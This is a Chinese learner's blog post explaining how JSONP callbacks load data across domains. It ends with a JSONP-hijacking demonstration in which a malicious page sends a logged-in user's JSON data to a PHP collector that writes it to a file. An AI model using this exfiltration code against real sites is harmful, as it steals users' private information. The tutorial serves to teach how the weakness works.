关于JSONP的苦逼理解过程

由于太菜,在理解jsonp这个概念的时候花了很多时间,大佬们都说这个很简单,下面简单记录一下关于jsonp的学习。

关于jsonp的什么概念我就不说了,网上有很多,此处引自一篇文章:https://www.cnblogs.com/dowinning/archive/2012/04/19/json-jsonp-jquery.html

里面关于jsonp介绍的非常详细。

 

我理解的jsonp的具体实现:

先写上测试代码:

本地文件:http://127.0.0.1/jsonp.html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <title></title>
    <script type="text/javascript">
    var localHandler = function(data){
        alert('I\'m local data,can called by Cross domain\'s file remote.js,Long-range js\'s data is : ' + data.result);
    };
    </script>
    <script type="text/javascript" src="http://xxx.xxx.xxx.xxx/remote.js"></script>
</head>
<body>

</body>
</html>

代码中的xxx.xxx.xxx.xxx是我的vps,要测试请更换自己的远程服务器。

 

远程服务器中remote.js文件内容:xxx.xxx.xxx.xxx/remote.js

localHandler({"result":"I'm remote data."});

 

这个过程运用了回调函数,这里的意思就是我们访问的这个网站(也就是本地服务器)先定义一个函数,这个函数名要与我们后面调用的远程服务器的js文件中json格式数据的变量名一样,比如就是remote.js文件中json格式数据的变量名是localHandler。

这样定义的意义是:我们在本地jsonp.html中定义了一个localHandler函数,然后跨域加载了remote.js文件,remote.js文件里面有变量名为localHandler的json数据,这样就相当于调用了jsonp.html文件中前面定义的localHandler这个函数,里面的json数据就是data这个参数。

这样就可以实现以用户的想法来展示json数据,这也是我后来才理解"的其实就是字符串的拼接"。

 

关于一般jsonp存在的callback类似的参数:

我看的这篇文章里面有说:为了实现用户自定义回调函数,用户传递一个callback参数,然后服务器会将这个参数作为一个json字符串数据的变量名,自动生成一串json数据。比如用户传递  http://xxx.xxx.xxx.xxx/xxx.php?id=1&callback=test

然后xxx.php这个脚本就会自动生成类似的代码:

test({
"id":1,
"price":1000,
"size":"100px",
"width":"100px"
});

在本地调用文件中定义的函数名也是以变量的形式存在,根据callback传递的参数作为函数名,然后就可以实现用户自定义函数名实现回调加载数据。

 

 

JSONP劫持:

有一些场景,用户个人信息使用json格式显示,只能当前用户访问,我们可以构造一个恶意文件,让登陆在线的用户访问,获取用户个人信息中的敏感信息,将这些信息发送到我们自己的vps上面,这是一个jsonp劫持利用。

jsonp1.html文件主要代码:

<script type="text/javascript">
function localHandler(data){
var xmlhttp = new XMLHttpRequest();
var url = "http://127.0.0.1/jsonp.php?data=" + JSON.stringify(data);

xmlhttp.open("GET", url, true);
xmlhttp.send();
}
</script>
<script src="http://xxx.xxx.xxx.xxx/remote.js"></script>

 

然后本地的jsonp.php的内容为:

<?php

$data = $_GET['data'];
$fh = fopen('data.txt', 'a');
fwrite($fh, $data);
fclose($fh);

?>

 

然后在以用户的视角在客户端访问  http://127.0.0.1/jsonp1.html  

用户访问过后就可以实现抓取数据到本地了(通常用vps,此处本地只是测试)。

 

里面的数据就是我远程服务器中的json数据。

这仅作为我个人理解,记录,有大佬发现不对的地方希望可以指出。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值